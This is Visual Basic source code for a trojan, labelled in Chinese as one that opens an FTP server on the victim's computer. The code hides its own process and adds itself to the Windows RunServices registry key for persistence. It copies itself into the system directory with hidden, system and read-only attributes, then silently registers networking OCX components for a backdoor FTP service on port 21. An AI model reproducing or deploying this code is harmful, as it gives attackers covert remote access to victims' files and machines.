global.bas

另一个可以在你的计算机上开FTP服务器的木马源代码

Attribute VB_Name = "GLOBAL"
Option Explicit

Public Const PRODUCT_NAME = "SSFTPSVR"
Public Const PRODUCT_PORT = "00021"

Public Const ERROR_SUCCESS = 0&
Public Const APINULL = 0&

Public Const REG_SZ As Long = 1
Public Const REG_BINARY As Long = 3
Public Const REG_DWORD As Long = 4

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003

Public Const ERROR_NONE = 0
Public Const ERROR_BADDB = 1
Public Const ERROR_BADKEY = 2
Public Const ERROR_CANTOPEN = 3
Public Const ERROR_CANTREAD = 4
Public Const ERROR_CANTWRITE = 5
Public Const ERROR_OUTOFMEMORY = 6
Public Const ERROR_INVALID_PARAMETER = 7
Public Const ERROR_ACCESS_DENIED = 8
Public Const ERROR_INVALID_PARAMETERS = 87
Public Const ERROR_NO_MORE_ITEMS = 259
Public Const KEY_ALL_ACCESS = &H3F
Public Const REG_OPTION_NON_VOLATILE = 0

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias " RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Public Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Public Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Public Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Public Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Public Declare Function RegIPDAEM Lib "IPDAEM34.OCX" Alias "DllRegisterServer" () As Long
Public Declare Function RegIPPORT Lib "IPPORT34.OCX" Alias "DllRegisterServer" () As Long

Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long

Global cDiretorioSystem As String
Global cBuffer As String * 255

Global xResposta As Variant

Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
   Dim lValue As Long
   Dim sValue As String

   Select Case lType
      Case REG_SZ
           sValue = vValue & Chr$(0)
           SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
      Case REG_DWORD
           lValue = vValue
           SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
   End Select
End Function

Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long
   On Error GoTo QueryValueExError

   Dim cch As Long
   Dim lrc As Long
   Dim lType As Long
   Dim lValue As Long
   Dim nLoop As Long
   Dim sValue As String
   Dim sBinaryString As String

   lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)

   If lrc <> ERROR_NONE Then Error 5
   Select Case lType
      Case REG_SZ:
           sValue = String(cch, 0)
           lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)

           If lrc = ERROR_NONE Then
              vValue = Left$(sValue, cch - 1)
           Else
              vValue = Empty
           End If

      Case REG_BINARY
           sValue = String(cch, 0)
           lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)

           If lrc = ERROR_NONE Then
              vValue = sValue
           Else
              vValue = Empty
           End If

           sBinaryString = ""
           For nLoop = 1 To Len(sValue)
               sBinaryString = sBinaryString & Format$(Hex(Asc(Mid$(vValue, nLoop, 1))), "00") & " "
           Next
           vValue = sBinaryString

      Case REG_DWORD:
           lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
           If lrc = ERROR_NONE Then vValue = lValue

      Case Else
           lrc = -1
   End Select

QueryValueExExit:
   QueryValueEx = lrc
   Exit Function

QueryValueExError:
   Resume QueryValueExExit
End Function

Public Sub CreateNewKey(sNewKeyName As String, lPredefinedKey As Long)
   Dim hNewKey As Long
   Dim lRetVal As Long

   lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
   RegCloseKey (hNewKey)
End Sub

Public Sub SetKeyValue(ByVal hKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
   Dim lRetVal As Long

   lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
   lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

   RegCloseKey (hKey)
End Sub

Public Function QueryValue(ByVal hKey As Long, sKeyName As String, sValueName As String) As String
   Dim lRetVal As Long
   Dim vValue As Variant

   lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
   lRetVal = QueryValueEx(hKey, sValueName, vValue)

   QueryValue = vValue
   RegCloseKey (hKey)
End Function

Sub Main()
   On Error Resume Next

   xResposta = RegisterServiceProcess(0, 1)

   If App.PrevInstance Then
      End
   End If
   
   xResposta = GetSystemDirectory(cBuffer, Len(cBuffer))
   cDiretorioSystem = Left(cBuffer, xResposta)

   If Right(cDiretorioSystem, 1) <> "\" Then
      cDiretorioSystem = cDiretorioSystem + "\"
   End If
   
   VerificaRegistry
   
   FRMMAIN.Visible = False
   Load FRMMAIN
End Sub

Public Sub VerificaRegistry()
   On Error Resume Next

   Dim cOrigemEXE As String
   Dim cDestinoEXE As String
   Dim cRegistry As String

   cOrigemEXE = UCase$(App.path & "\" & App.EXEName & ".EXE")
   cDestinoEXE = UCase(cDiretorioSystem & Trim(PRODUCT_NAME) & ".EXE")

   cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"

   If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Trim(PRODUCT_NAME)) <> cDestinoEXE Then
      CreateNewKey cRegistry, HKEY_LOCAL_MACHINE
      SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, Trim(PRODUCT_NAME), cDestinoEXE, REG_SZ
   End If

   If Dir(cDestinoEXE) = "" And cOrigemEXE <> cDestinoEXE Then
      
      ' Copia o Programa
      SetAttr cDestinoEXE, vbNormal
      xResposta = CopyFile(cOrigemEXE, cDestinoEXE, False)
      SetAttr cDestinoEXE, vbSystem + vbHidden + vbReadOnly
   
      ' Copia o IPDAEM34.OCX
      cOrigemEXE = UCase$(App.path & "\IPDAEM34.OCX")
      cDestinoEXE = UCase(cDiretorioSystem & "IPDAEM34.OCX")
      
      If Dir(cOrigemEXE) <> "" Then
         SetAttr cDestinoEXE, vbNormal
         xResposta = CopyFile(cOrigemEXE, cDestinoEXE, False)
      
         RegIPDAEM
      End If
      
      ' Copia o IPPORT34.OCX
      cOrigemEXE = UCase$(App.path & "\IPPORT34.OCX")
      cDestinoEXE = UCase(cDiretorioSystem & "IPPORT34.OCX")
      
      If Dir(cOrigemEXE) <> "" Then
         SetAttr cDestinoEXE, vbNormal
         xResposta = CopyFile(cOrigemEXE, cDestinoEXE, False)
      
         RegIPPORT
      End If
      
      ' Copia o MSVBVM50.DLL
      cOrigemEXE = UCase$(App.path & "\MSVBVM50.DLL")
      cDestinoEXE = UCase(cDiretorioSystem & "MSVBVM50.DLL")
      
      If Dir(cOrigemEXE) <> "" Then
         SetAttr cDestinoEXE, vbNormal
         xResposta = CopyFile(cOrigemEXE, cDestinoEXE, False)
      End If
   End If
End Sub